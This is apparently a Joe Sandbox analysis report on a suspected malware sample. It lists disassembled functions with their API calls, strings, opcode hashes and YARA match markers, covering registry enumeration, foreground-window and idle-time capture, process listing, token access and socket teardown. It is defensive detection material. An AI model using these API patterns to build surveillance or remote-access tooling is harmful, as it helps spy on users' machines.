Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: OpenProcessValue$CloseCodeDeleteExitSleep
String ID: IpDates_info$SOFTWARE
API String ID: 864241144-2243437601
Opcode ID: ec441cdbb7529eff906fdabb3b09756d72656f41fc86158d5ff143c826c358b1
Instruction ID: f9f9a6ed43abf667fd8ac65fc1cc564d9c0c5a30511becfa4465088a0508c3c5
Opcode Fuzzy Hash: ec441cdbb7529eff906fdabb3b09756d72656f41fc86158d5ff143c826c358b1
Instruction Fuzzy Hash: 9B31D27224C781DFD760CF708C08F7A7BA9AB55344FAE8488F18D9A2A2C3E0D806C751

Function 02D0CA70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 197registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Console\0,00000000,000F003F,02D212F8,7A8163DF,00000001,00000000,00000000), ref: 02D0CAB1
RegQueryInfoKeyW.ADVAPI32(02D212F8,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,00000000,00000000), ref: 02D0CAE0
_memset.LIBCMT ref: 02D0CB44
_memset.LIBCMT ref: 02D0CB53
RegEnumValueW.KERNEL32(02D212F8,?,00000000,?,00000000,?,00000000,?), ref: 02D0CB72

Part of subcall function 02D0F707: _malloc.LIBCMT ref: 02D0F721

Part of subcall function 02D0F707: std::exception::exception.LIBCMT ref: 02D0F756
Part of subcall function 02D0F707: std::exception::exception.LIBCMT ref: 02D0F770
Part of subcall function 02D0F707: __CxxThrowException@8.LIBCMT ref: 02D0F781

RegCloseKey.KERNEL32(02D212F8,?,?,?,?,?,?,?,?,?,?,?,00000000,02D212F8,000000FF), ref: 02D0CC83

Strings

Console\0, xrefs: 02D0CAA4

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _memsetstd::exception::exception$CloseEnumException@8InfoOpenQueryThrowValue_malloc
String ID: Console\0
API String ID: 1348767993-1253790388
Opcode ID: c3bd157b71f405809e530cea3b60c2bdd14b29f520f0ce55347069b83b29febb
Instruction ID: b4d218f9f834d85cfdd78e9ba57ba55db461571005e481ea587aabb91765c433
Opcode Fuzzy Hash: c3bd157b71f405809e530cea3b60c2bdd14b29f520f0ce55347069b83b29febb
Instruction Fuzzy Hash: 8F611EB1D00219AFDB14DFA8D881EAEB7B9FF48310F14466AF915A7391D734AD01CBA4

Function 02D0BB00 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 02D0F707: _malloc.LIBCMT ref: 02D0F721

_memset.LIBCMT ref: 02D0BB21
GetLastInputInfo.USER32(?), ref: 02D0BB37
GetTickCount.KERNEL32 ref: 02D0BB3D
wsprintfW.USER32 ref: 02D0BB66
GetForegroundWindow.USER32 ref: 02D0BB6F
GetWindowTextW.USER32(00000000,00000020,000000FA), ref: 02D0BB83

Strings

%d min, xrefs: 02D0BB60

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Window$CountForegroundInfoInputLastTextTick_malloc_memsetwsprintf
String ID: %d min
API String ID: 3754759880-1947832151
Opcode ID: d14e636c141408883cdcdcbdf59b0706c37dbd4b82d2864036c2dd725489ff85
Instruction ID: 4b997a6a44e421be642bc06aa3c263434f3ed4bd300651f844007f20728a317e
Opcode Fuzzy Hash: d14e636c141408883cdcdcbdf59b0706c37dbd4b82d2864036c2dd725489ff85
Instruction Fuzzy Hash: ED418EB5900214AFCB10DFA4D888B9FBBB9EF44714F148555F9099B3A1DB749E04CBE1

Function 02D06D70 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 89registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02D06DD9
RegOpenKeyExW.KERNEL32(80000001,02D25164,00000000,00020019,s<u), ref: 02D06DFC
RegQueryValueExW.KERNEL32(s<u,GROUP,00000000,00000001,?,00000208), ref: 02D06E4A
lstrcmpW.KERNEL32(?,02D25148), ref: 02D06E60
lstrcpyW.KERNEL32(02D056EA,?), ref: 02D06E72

Strings

GROUP, xrefs: 02D06E42
s<u, xrefs: 02D06DE8, 02D06E43, 02D06DEE, 02D06E49

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: OpenQueryValue_memsetlstrcmplstrcpy
String ID: GROUP$s<u
API String ID: 2102619503-3119169592
Opcode ID: 48feffedeebe7a6bbf7e1daaaca7c665837f6369432e5d6fdfaa1cb3d7e664bb
Instruction ID: e23ed2981163d645c0117a9b318f1200a96c6b2e27c58fc9ff8e60e300345e84
Opcode Fuzzy Hash: 48feffedeebe7a6bbf7e1daaaca7c665837f6369432e5d6fdfaa1cb3d7e664bb
Instruction Fuzzy Hash: A5319471940319ABDB30DF90ED89B9AB7B8EB08714F104299E519A6290DB74DE54CFA0

Function 02D06910 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(7A8163DF,00000000,00000000,753C73E0,?,00000000,02D210DB,000000FF,?,02D06AB3,00000000), ref: 02D06938
OpenProcess.KERNEL32(00000400,00000000,00000000,?,00000000,02D210DB,000000FF,?,02D06AB3,00000000), ref: 02D06947
OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,00000000,02D210DB,000000FF,?,02D06AB3,00000000), ref: 02D06960
CloseHandle.KERNEL32(00000000,?,00000000,02D210DB,000000FF,?,02D06AB3,00000000), ref: 02D0696B
SysStringLen.OLEAUT32(00000000), ref: 02D069BE
SysStringLen.OLEAUT32(00000000), ref: 02D069CC
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,02D210DB,000000FF), ref: 02D06A2E
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,02D210DB,000000FF), ref: 02D06A34

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess$OpenString$CurrentToken
String ID:
API String ID: 429299433-0
Opcode ID: 8fe60832a2d80cd51a8b83e3364c2985fcf28b69aa9f51ec47969341328b503f
Instruction ID: 9478718ffb4b7b06393fdfbef1737765c64a145d17d21e9ad4aa98ffcfabfbc0
Opcode Fuzzy Hash: 8fe60832a2d80cd51a8b83e3364c2985fcf28b69aa9f51ec47969341328b503f
Instruction Fuzzy Hash: F541B1B2D401189BDB10DFA9D884BAEB7B8FB44304F21462AE915E7790D7759D14CBE0

Function 02D0FA29 Relevance: 10.6, APIs: 7, Instructions: 63threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 02D0FA4E
__calloc_crt.LIBCMT ref: 02D0FA5A
__getptd.LIBCMT ref: 02D0FA67
CreateThread.KERNEL32(00000000,00000000,02D0F9C4,00000000,00000000,02D0E003), ref: 02D0FA9E
GetLastError.KERNEL32(?,00000000,?,?,02D0E003,00000000,00000000,02D05F40,00000000,00000000,00000000), ref: 02D0FAA8
_free.LIBCMT ref: 02D0FAB1
__dosmaperr.LIBCMT ref: 02D0FABC

Part of subcall function 02D0F91B: __getptd_noexit.LIBCMT ref: 02D0F91B

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
String ID:
API String ID: 155776804-0
Opcode ID: c7493d298567ee6e70e55e3e1f22d094864f49663c3c6c63d4ba9949c7bc7055
Instruction ID: bba59967a82d20c3eca0c744eeed664defca69162d219bf84a193f4bbf2d9a04
Opcode Fuzzy Hash: c7493d298567ee6e70e55e3e1f22d094864f49663c3c6c63d4ba9949c7bc7055
Instruction Fuzzy Hash: E011A032604716BFAB21AFA6AC84B9B379ADF44364B204425F90486BA0DF71DC018AB0

Function 0097721B Relevance: 10.6, APIs: 7, Instructions: 63threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 00977240
__calloc_crt.LIBCMT ref: 0097724C
__getptd.LIBCMT ref: 00977259
CreateThread.KERNEL32(?,?,009771B6,00000000,?,?), ref: 00977290
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 0097729A
_free.LIBCMT ref: 009772A3
__dosmaperr.LIBCMT ref: 009772AE

Part of subcall function 0097710D: __getptd_noexit.LIBCMT ref: 0097710D

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
String ID:
API String ID: 155776804-0
Opcode ID: 3a38458ae68315cfbac1849071454340f8b759ff2f864bf27e605b991850cbd3
Instruction ID: 302cace0bc135fa7290fb6d731845bb326425be96aa0a8d5aa1b3dc047a8551a
Opcode Fuzzy Hash: 3a38458ae68315cfbac1849071454340f8b759ff2f864bf27e605b991850cbd3
Instruction Fuzzy Hash: C31182331087066FDB11AFE59C46E9BB79CEF85764B118019F92C9A152EB71D81087B0

Function 02D0F9C4 Relevance: 10.5, APIs: 7, Instructions: 34threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 02D0F9CA

Part of subcall function 02D13CA0: TlsGetValue.KERNEL32(00000000,02D13DF9,?,02D14500,00000000,00000001,00000000,?,02D18DE6,00000018,02D26448,0000000C,02D18E76,00000000,00000000), ref: 02D13CA9
Part of subcall function 02D13CA0: DecodePointer.KERNEL32(?,02D14500,00000000,00000001,00000000,?,02D18DE6,00000018,02D26448,0000000C,02D18E76,00000000,00000000,?,02D13F06,0000000D), ref: 02D13CBB
Part of subcall function 02D13CA0: TlsSetValue.KERNEL32(00000000,?,02D14500,00000000,00000001,00000000,?,02D18DE6,00000018,02D26448,0000000C,02D18E76,00000000,00000000,?,02D13F06), ref: 02D13CCA

___fls_getvalue@4.LIBCMT ref: 02D0F9D5

Part of subcall function 02D13C80: TlsGetValue.KERNEL32(?,?,02D0F9DA,00000000), ref: 02D13C8E

___fls_setvalue@8.LIBCMT ref: 02D0F9E8

Part of subcall function 02D13CD4: DecodePointer.KERNEL32(?,?,?,02D0F9ED,00000000,?,00000000), ref: 02D13CE5

GetLastError.KERNEL32(00000000,?,00000000), ref: 02D0F9F1
ExitThread.KERNEL32 ref: 02D0F9F8
GetCurrentThreadId.KERNEL32 ref: 02D0F9FE
__freefls@4.LIBCMT ref: 02D0FA1E

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Value$DecodePointerThread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 2383549826-0
Opcode ID: 4926136da2f0c11c224dbca85273d96d7bfdf21e50daad556e3f737e99d88b83
Instruction ID: 4734c861a8493caf24b3c9f8e52252cd4715abaa9d9d2bbc432a39e50e77d9e2
Opcode Fuzzy Hash: 4926136da2f0c11c224dbca85273d96d7bfdf21e50daad556e3f737e99d88b83
Instruction Fuzzy Hash: 4EF04F74940240BFC718AB61E54890E7BAAEF44340B218598E90587721DB34DC86CBA1

Function 009771B6 Relevance: 10.5, APIs: 7, Instructions: 34threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 009771BC

Part of subcall function 00979754: TlsGetValue.KERNEL32(00000000,009798AD,?,00979FB0,00000000,00000001,00000000,?,0097C0CF,00000018,00987C70,0000000C,0097C15F,00000000,00000000), ref: 0097975D
Part of subcall function 00979754: DecodePointer.KERNEL32(?,00979FB0,00000000,00000001,00000000,?,0097C0CF,00000018,00987C70,0000000C,0097C15F,00000000,00000000,?,009799BA,0000000D), ref: 0097976F
Part of subcall function 00979754: TlsSetValue.KERNEL32(00000000,?,00979FB0,00000000,00000001,00000000,?,0097C0CF,00000018,00987C70,0000000C,0097C15F,00000000,00000000,?,009799BA), ref: 0097977E

___fls_getvalue@4.LIBCMT ref: 009771C7

Part of subcall function 00979734: TlsGetValue.KERNEL32(?,?,009771CC,00000000), ref: 00979742

___fls_setvalue@8.LIBCMT ref: 009771DA

Part of subcall function 00979788: DecodePointer.KERNEL32(?,?,?,009771DF,00000000,?,00000000), ref: 00979799

GetLastError.KERNEL32(00000000,?,00000000), ref: 009771E3
ExitThread.KERNEL32 ref: 009771EA
GetCurrentThreadId.KERNEL32 ref: 009771F0
__freefls@4.LIBCMT ref: 00977210

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: Value$DecodePointerThread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 2383549826-0
Opcode ID: 87e28972696d28b587dbc55f6a4d89d16097953bd81396cf3ed3d5b24bf771cd
Instruction ID: e809942c8aa3c890c98798c093d54528b0b777000cce53d464ef2c7bf7917679
Opcode Fuzzy Hash: 87e28972696d28b587dbc55f6a4d89d16097953bd81396cf3ed3d5b24bf771cd
Instruction Fuzzy Hash: 1FF09676518640ABC708BFB1CD49A5E7BA9EFC4304721C858F90C8B213DA34D8469790

Function 02D06050 Relevance: 9.1, APIs: 6, Instructions: 86processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02D0607C
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,00000000), ref: 02D06088
Process32FirstW.KERNEL32(00000000,00000000), ref: 02D060B9
Process32NextW.KERNEL32(00000000,0000022C), ref: 02D0610F
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 02D06116

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memset
String ID:
API String ID: 2526126748-0
Opcode ID: 65448a03b6cd785e0aea2eb64c5814ba77ad200356e82c860f552de613feb757
Instruction ID: 38dab732085ad6b8ee2743dbb50912357ff7bf6a250b92efe995c6f650704e71
Opcode Fuzzy Hash: 65448a03b6cd785e0aea2eb64c5814ba77ad200356e82c860f552de613feb757
Instruction Fuzzy Hash: D1219431A40124ABDB20EF74DC99FEE7369EF14314F204695EC09963D0EB359E24CAA1

Function 009732E0 Relevance: 9.0, APIs: 6, Instructions: 32synchronizationsleepCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 009732F1
Sleep.KERNEL32(00000258), ref: 009732FE
InterlockedExchange.KERNEL32(?,00000000), ref: 00973306
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00973312
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0097331A
Sleep.KERNEL32(0000012C), ref: 0097332B

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: ObjectSingleWait$Sleep$ExchangeInterlocked
String ID:
API String ID: 3137405945-0
Opcode ID: 0a1108a17aa8252d8f38f529e353875b74689ee4ee8dd241bc6beac09bb0eb37
Instruction ID: b595ec0a43246f2db2814960636e16f72cee9da398d9f995c23d7c2d584cb932
Opcode Fuzzy Hash: 0a1108a17aa8252d8f38f529e353875b74689ee4ee8dd241bc6beac09bb0eb37
Instruction Fuzzy Hash: FBF082722087046BD610ABA9DC84E86F3A8AF85330B21470DF225973E0CAB0E8058BA0

Function 02D06690 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 02D0669B
CoCreateInstance.OLE32(02D246FC,00000000,00000001,02D2471C,?,?,?,?,?,?,?,?,?,?,02D0588A), ref: 02D066B2
SysFreeString.OLEAUT32(?), ref: 02D0674C
CoUninitialize.OLE32(?,?,?,?,?,?,?,?,?,02D0588A), ref: 02D0677D

Strings

FriendlyName, xrefs: 02D0673B

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CreateFreeInitializeInstanceStringUninitialize
String ID: FriendlyName
API String ID: 841178590-3623505368
Opcode ID: b2f26ffedb02a9d24f0b89c25b8ff2ebd52f2ea901456f331ced3f343e75acb4
Instruction ID: 016062413764a96c0e74b103b326c907621727bfa575d40dc26ba6f53b7e9257
Opcode Fuzzy Hash: b2f26ffedb02a9d24f0b89c25b8ff2ebd52f2ea901456f331ced3f343e75acb4
Instruction Fuzzy Hash: E7313B75A40205AFDB10DA98DC84FAAB7B9EFC8704F148598F905E7390DB71ED06CBA0

Function 02D0F707 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 02D0F721

Part of subcall function 02D0F673: __FF_MSGBANNER.LIBCMT ref: 02D0F68C
Part of subcall function 02D0F673: __NMSG_WRITE.LIBCMT ref: 02D0F693
Part of subcall function 02D0F673: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,02D14500,00000000,00000001,00000000,?,02D18DE6,00000018,02D26448,0000000C,02D18E76), ref: 02D0F6B8

std::exception::exception.LIBCMT ref: 02D0F756
std::exception::exception.LIBCMT ref: 02D0F770
__CxxThrowException@8.LIBCMT ref: 02D0F781

Strings

bad allocation, xrefs: 02D0F74F

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID: bad allocation
API String ID: 615853336-2104205924
Opcode ID: fed0cb684fcfc7d4d48fb4fe011467ff98a3236fb2758ce95c751346d957c285
Instruction ID: 55e65d6aa14ad4ac155c92ba5f378c1e8bc57035a8bdb0f892f23d4ff95a7f5a
Opcode Fuzzy Hash: fed0cb684fcfc7d4d48fb4fe011467ff98a3236fb2758ce95c751346d957c285
Instruction Fuzzy Hash: 41F0D6719002196EDB24EB55E865B6E37BAEB50708F644499E80496BE0DF70DD0CCEA1

Function 02D02D30 Relevance: 7.5, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 02D02D5C
CancelIo.KERNEL32(?), ref: 02D02D66
InterlockedExchange.KERNEL32(00000000,00000000), ref: 02D02D6F
closesocket.WS2_32(?), ref: 02D02D79
SetEvent.KERNEL32(00000001), ref: 02D02D83

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CancelEventExchangeInterlockedclosesocketsetsockopt
String ID:
API String ID: 1486965892-0
Opcode ID: 4b9c3f0fdc3bf6c867ef38b534f3ba9ce2676e3e8a5b46eea4a7a3e0766093a4
Instruction ID: 2bad0657d1cf6c14f9e46f86ed61e8de549fdfcb604755f5db71ffe61a682e3d
Opcode Fuzzy Hash: 4b9c3f0fdc3bf6c867ef38b534f3ba9ce2676e3e8a5b46eea4a7a3e0766093a4
Instruction Fuzzy Hash: 83F03C76540700ABD3349F54DD4DF6677B8BB59B11F104A1DFA9296780C6B0B9188BA0

Function 00972D10 Relevance: 7.5, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 00972D3C
CancelIo.KERNEL32(?), ref: 00972D46
InterlockedExchange.KERNEL32(00000000,00000000), ref: 00972D4F
closesocket.WS2_32(?), ref: 00972D59
SetEvent.KERNEL32(00000001), ref: 00972D63

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: CancelEventExchangeInterlockedclosesocketsetsockopt
String ID:
API String ID: 1486965892-0
Opcode ID: 56dfc91c780f1f3883a747f7969516ca71f6f1b64d5cb18db363b90349504f01
Instruction ID: 01d92741f052963097213b073a346508ecb312605e0d9aa331371d63175ba3b6
Opcode Fuzzy Hash: 56dfc91c780f1f3883a747f7969516ca71f6f1b64d5cb18db363b90349504f01
Instruction Fuzzy Hash: 9FF04976114B00ABD3309F94DC49F6A77B8FB89B11F104A5CF68697790CBB0B9089BA0

Function 00976F17 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00976F31

Part of subcall function 00976E83: __FF_MSGBANNER.LIBCMT ref: 00976E9C
Part of subcall function 00976E83: __NMSG_WRITE.LIBCMT ref: 00976EA3
Part of subcall function 00976E83: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00979FB0,00000000,00000001,00000000,?,0097C0CF,00000018,00987C70,0000000C,0097C15F), ref: 00976EC8

std::exception::exception.LIBCMT ref: 00976F66
std::exception::exception.LIBCMT ref: 00976F80
__CxxThrowException@8.LIBCMT ref: 00976F91

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID:
API String ID: 615853336-0
Opcode ID: 9973c3bffe9ea60318eb41bde691b0736a273b98623d6fe9db1c1a200da3ab72
Instruction ID: b66aeedf10305bb7de5c862a5d2947769d1d214c33bfe1305fbda603df652104
Opcode Fuzzy Hash: 9973c3bffe9ea60318eb41bde691b0736a273b98623d6fe9db1c1a200da3ab72
Instruction Fuzzy Hash: 4CF02837614A09AFEB10FBA4EC02B9D7AAA9F80714F10801AF40CD62D1DBB0CE44DB56

Function 02D06EBC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 8registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(80000001,02D06E9A), ref: 02D06EC9
RegCloseKey.ADVAPI32(s<u), ref: 02D06ED2

Strings

s<u, xrefs: 02D06ECB, 02D06ED1

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Close
String ID: s<u
API String ID: 3535843008-779365171
Opcode ID: 6b376c4bfb73f7743e85cb68b3bb4f34bc7414d21d6d0b59e64f607c041565da
Instruction ID: 77f4bac27717593805135027ca3701ac464cf3c688117a6563c6ced0db2b84a4
Opcode Fuzzy Hash: 6b376c4bfb73f7743e85cb68b3bb4f34bc7414d21d6d0b59e64f607c041565da
Instruction Fuzzy Hash: BAC09B72D0103857CF10E7A4FD4894D77B85F4C210F1145C2B504A3114C634BD41CF90

Function 02D03160 Relevance: 4.6, APIs: 3, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 02D0316B
InterlockedExchange.KERNEL32(?,00000001), ref: 02D03183
GetCurrentThreadId.KERNEL32 ref: 02D0322F

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CurrentThread$ExchangeInterlocked
String ID:
API String ID: 4033114805-0
Opcode ID: f1ecd33e49a94aa45c69d77836592475a6e01a66113cbf76a61494f194f6acb9
Instruction ID: ced489937d412628d1f9a7796a27a0fdcf3f0d0d5da053e14e35603f178eb08c
Opcode Fuzzy Hash: f1ecd33e49a94aa45c69d77836592475a6e01a66113cbf76a61494f194f6acb9
